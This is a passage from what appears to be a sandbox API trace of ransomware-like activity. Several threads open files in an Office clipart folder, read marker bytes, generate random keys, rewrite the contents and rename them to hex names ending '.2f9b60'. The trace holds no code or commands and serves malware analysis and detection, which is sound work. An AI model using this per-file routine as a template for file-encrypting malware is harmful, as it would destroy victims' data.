lpBuffer=0x42c16b30*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2de0fb90, lpOverlapped=0x0 | out: lpBuffer=0x42c16b30*, lpNumberOfBytesWritten=0x2de0fb90*=0x108, lpOverlapped=0x0) returned 1 [0164.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9710 [0164.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9710) returned 1 [0164.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d180 [0164.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9710 [0164.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd96e0 [0164.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd96e0) returned 1 [0164.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d8240 [0164.460] sprintf (in: _Dest=0x1b7d8240, _Format="%c%c" | out: _Dest="69") returned 2 [0164.460] sprintf (in: _Dest=0x1b7d8242, _Format="%c%c" | out: _Dest="f7") returned 2 [0164.460] sprintf (in: _Dest=0x1b7d8244, _Format="%c%c" | out: _Dest="89") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d8246, _Format="%c%c" | out: _Dest="a8") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d8248, _Format="%c%c" | out: _Dest="f9") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d824a, _Format="%c%c" | out: _Dest="02") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d824c, _Format="%c%c" | out: _Dest="fe") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d824e, _Format="%c%c" | out: _Dest="63") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d8250, _Format="%c%c" | out: _Dest="b4") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d8252, _Format="%c%c" | out: _Dest="e5") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d8254, _Format="%c%c" | out: _Dest="f2") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d8256, _Format="%c%c" | out: _Dest="b7") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d8258, _Format="%c%c" | out: _Dest="c8") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d825a, _Format="%c%c" | out: _Dest="e2") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d825c, _Format="%c%c" | out: _Dest="da") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d825e, _Format="%c%c" | out: _Dest="ac") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d8260, _Format="%c%c" | out: _Dest="a5") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d8262, _Format="%c%c" | out: _Dest="ce") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d8264, _Format="%c%c" | out: _Dest="ac") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d8266, _Format="%c%c" | out: _Dest="0b") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d8268, _Format="%c%c" | out: _Dest="fe") returned 2 [0164.461] sprintf (in: _Dest=0x1b7d826a, _Format="%c%c" | out: _Dest="ad") returned 2 [0164.461] RtlInitAnsiString (in: DestinationString=0x2de0fc08, SourceString="69f789a8f902fe63b4e5f2b7c8e2daaca5ceac0bfead" | out: DestinationString="69f789a8f902fe63b4e5f2b7c8e2daaca5ceac0bfead") [0164.461] RtlAnsiStringToUnicodeString (in: DestinationString=0x2de0fbd8, SourceString="69f789a8f902fe63b4e5f2b7c8e2daaca5ceac0bfead", AllocateDestinationString=1 | out: DestinationString="69f789a8f902fe63b4e5f2b7c8e2daaca5ceac0bfead") returned 0x0 [0164.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ce14c00 [0164.462] RtlFreeAnsiString (AnsiString="6") [0164.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8240) returned 1 [0164.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9710) returned 1 [0164.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c16b30) returned 1 [0164.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c184e0) returned 1 [0164.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18510) returned 1 [0164.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c184b0) returned 1 [0164.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18480) returned 1 [0164.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe770) returned 1 [0164.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe800) returned 1 [0164.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0164.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c303b0 [0164.466] wcscat (in: _Dest=0x42c303b0, _Source="69f789a8f90" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\69f789a8f90") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\69f789a8f90" [0164.466] wcscat (in: _Dest=0x42c303b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\69f789a8f90.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\69f789a8f90.2f9b60" [0164.466] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\69f789a8f90.2f9b60", NtPathName=0x2de0fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\69f789a8f90.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279070 Thread: id = 2379 os_tid = 0x1d90 [0150.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb26ee575e18.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\eb26ee575e18.2f9b60")) returned 0x20 [0150.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb26ee575e18.2f9b60", dwFileAttributes=0x20) returned 1 [0150.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb26ee575e18.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\eb26ee575e18.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21ec [0150.345] GetFileSizeEx (in: hFile=0x21ec, lpFileSize=0x2e35f6a0 | out: lpFileSize=0x2e35f6a0*=8848) returned 1 [0150.345] SetFilePointerEx (in: hFile=0x21ec, liDistanceToMove=0x228c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.346] ReadFile (in: hFile=0x21ec, lpBuffer=0x2e35f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e35f668, lpOverlapped=0x0 | out: lpBuffer=0x2e35f620*, lpNumberOfBytesRead=0x2e35f668*=0x4, lpOverlapped=0x0) returned 1 [0150.346] FlushFileBuffers (hFile=0x21ec) returned 1 [0150.348] CloseHandle (hObject=0x21ec) returned 1 [0150.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb26ee575e18.2f9b60", dwFileAttributes=0x20) returned 1 [0150.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507030) returned 1 Thread: id = 2380 os_tid = 0x1d94 [0150.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec48154fc892.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ec48154fc892.2f9b60")) returned 0x20 [0150.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec48154fc892.2f9b60", dwFileAttributes=0x20) returned 1 [0150.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec48154fc892.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ec48154fc892.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21ec [0150.359] GetFileSizeEx (in: hFile=0x21ec, lpFileSize=0x2e2df7c0 | out: lpFileSize=0x2e2df7c0*=8070) returned 1 [0150.359] SetFilePointerEx (in: hFile=0x21ec, liDistanceToMove=0x1f82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.359] ReadFile (in: hFile=0x21ec, lpBuffer=0x2e2df740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e2df788, lpOverlapped=0x0 | out: lpBuffer=0x2e2df740*, lpNumberOfBytesRead=0x2e2df788*=0x4, lpOverlapped=0x0) returned 1 [0150.359] FlushFileBuffers (hFile=0x21ec) returned 1 [0150.361] CloseHandle (hObject=0x21ec) returned 1 [0150.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec48154fc892.2f9b60", dwFileAttributes=0x20) returned 1 [0150.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506f90) returned 1 Thread: id = 2381 os_tid = 0x1d98 [0150.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec7b0ae309a6.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ec7b0ae309a6.2f9b60")) returned 0x20 [0150.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec7b0ae309a6.2f9b60", dwFileAttributes=0x20) returned 1 [0150.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec7b0ae309a6.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ec7b0ae309a6.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21ec [0150.369] GetFileSizeEx (in: hFile=0x21ec, lpFileSize=0x2db3f780 | out: lpFileSize=0x2db3f780*=4046) returned 1 [0150.369] SetFilePointerEx (in: hFile=0x21ec, liDistanceToMove=0xfca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.369] ReadFile (in: hFile=0x21ec, lpBuffer=0x2db3f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2db3f748, lpOverlapped=0x0 | out: lpBuffer=0x2db3f700*, lpNumberOfBytesRead=0x2db3f748*=0x4, lpOverlapped=0x0) returned 1 [0150.370] FlushFileBuffers (hFile=0x21ec) returned 1 [0150.371] CloseHandle (hObject=0x21ec) returned 1 [0150.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec7b0ae309a6.2f9b60", dwFileAttributes=0x20) returned 1 [0150.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506d10) returned 1 Thread: id = 2382 os_tid = 0x1d9c [0150.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x20 [0150.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF", dwFileAttributes=0x20) returned 1 [0150.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21ec [0150.377] GetFileSizeEx (in: hFile=0x21ec, lpFileSize=0x2c40fa00 | out: lpFileSize=0x2c40fa00*=1382) returned 1 [0150.377] SetFilePointerEx (in: hFile=0x21ec, liDistanceToMove=0x562, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.377] ReadFile (in: hFile=0x21ec, lpBuffer=0x2c40f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c40f9c8, lpOverlapped=0x0 | out: lpBuffer=0x2c40f980*, lpNumberOfBytesRead=0x2c40f9c8*=0x4, lpOverlapped=0x0) returned 1 [0150.379] SetFilePointerEx (in: hFile=0x21ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe620 [0150.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6b0 [0150.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe680 [0150.380] NtQuerySystemTime (in: CurrentTime=0x2c40f8c0 | out: CurrentTime=0x2c40f8c0*=132462177555862000) returned 0x0 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x471ddf6d [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x5107a94a [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x3f4d91a1 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x26c7a144 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x4a9a5f21 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x465547b [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x23bf5650 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x3feef376 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x591efc20 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x639f772b [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x1741c795 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x31c7b541 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x62f795a2 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x6c052c34 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x6c4902e1 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x38c66329 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x6c1e2a21 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x5fb41bf5 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x5b7559d7 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x33b4fee5 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x5b6fd3ae [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x1c16e94b [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x307c5874 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0xee3f536 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x50081ab9 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x1e2c5460 [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x4a41d6ea [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x7d440acf [0150.380] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x42f50c26 [0150.381] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x160cfe74 [0150.381] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x3a772408 [0150.381] RtlRandomEx (in: Seed=0x2c40f8b0 | out: Seed=0x2c40f8b0) returned 0x2f16a2d3 [0150.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4d0 [0150.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b2b0 [0150.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe7d0 [0150.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b2b0) returned 1 [0150.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe680) returned 1 [0150.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe620) returned 1 [0150.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420582e0 [0150.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b2b0 [0150.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe620 [0150.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe620) returned 1 [0150.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42462de0 [0150.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424669f0 [0150.391] ReadFile (in: hFile=0x21ec, lpBuffer=0x42462de0, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x2c40f8b0, lpOverlapped=0x0 | out: lpBuffer=0x42462de0*, lpNumberOfBytesRead=0x2c40f8b0*=0x566, lpOverlapped=0x0) returned 1 [0150.391] SetFilePointerEx (in: hFile=0x21ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.391] WriteFile (in: hFile=0x21ec, lpBuffer=0x424669f0*, nNumberOfBytesToWrite=0x566, lpNumberOfBytesWritten=0x2c40f8b4, lpOverlapped=0x0 | out: lpBuffer=0x424669f0*, lpNumberOfBytesWritten=0x2c40f8b4*=0x566, lpOverlapped=0x0) returned 1 [0162.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c187e0 [0162.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18810 [0162.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18810) returned 1 [0162.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424669f0) returned 1 [0162.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42462de0) returned 1 [0162.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b2b0) returned 1 [0162.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420582e0) returned 1 [0162.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18810 [0162.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420582e0 [0162.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b2b0 [0162.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18840 [0162.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18840) returned 1 [0162.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18840 [0162.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18870 [0162.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c188a0 [0162.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c188a0) returned 1 [0162.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b2b0) returned 1 [0162.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420582e0) returned 1 [0162.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c14ab0 [0162.365] SetFilePointerEx (in: hFile=0x21ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.365] WriteFile (in: hFile=0x21ec, lpBuffer=0x42c14ab0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c40f9d0, lpOverlapped=0x0 | out: lpBuffer=0x42c14ab0*, lpNumberOfBytesWritten=0x2c40f9d0*=0x10a, lpOverlapped=0x0) returned 1 [0164.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420538e0 [0164.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420538e0) returned 1 [0164.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d140 [0164.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420538e0 [0164.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420538b0 [0164.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420538b0) returned 1 [0164.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0164.234] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="47") returned 2 [0164.234] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="52") returned 2 [0164.234] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="36") returned 2 [0164.234] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="1c") returned 2 [0164.234] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="c0") returned 2 [0164.234] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="6e") returned 2 [0164.234] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="33") returned 2 [0164.234] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="e2") returned 2 [0164.234] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="34") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="f6") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="cb") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="3c") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="9f") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="6c") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="89") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="f7") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="ce") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="0f") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="e0") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="1e") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="e9") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="eb") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="93") returned 2 [0164.235] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="72") returned 2 [0164.235] RtlInitAnsiString (in: DestinationString=0x2c40fa48, SourceString="4752361cc06e33e234f6cb3c9f6c89f7ce0fe01ee9eb9372" | out: DestinationString="4752361cc06e33e234f6cb3c9f6c89f7ce0fe01ee9eb9372") [0164.235] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c40fa18, SourceString="4752361cc06e33e234f6cb3c9f6c89f7ce0fe01ee9eb9372", AllocateDestinationString=1 | out: DestinationString="4752361cc06e33e234f6cb3c9f6c89f7ce0fe01ee9eb9372") returned 0x0 [0164.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203faf90 [0164.236] RtlFreeAnsiString (AnsiString="4") [0164.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0164.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420538e0) returned 1 [0164.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c14ab0) returned 1 [0164.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18840) returned 1 [0164.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18870) returned 1 [0164.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18810) returned 1 [0164.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c187e0) returned 1 [0164.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6b0) returned 1 [0164.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe4d0) returned 1 [0164.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe7d0) returned 1 [0164.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230ef00 [0164.239] wcscat (in: _Dest=0x4230ef00, _Source="4752361cc06e" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4752361cc06e") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4752361cc06e" [0164.239] wcscat (in: _Dest=0x4230ef00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4752361cc06e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\4752361cc06e.2f9b60" [0164.239] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program 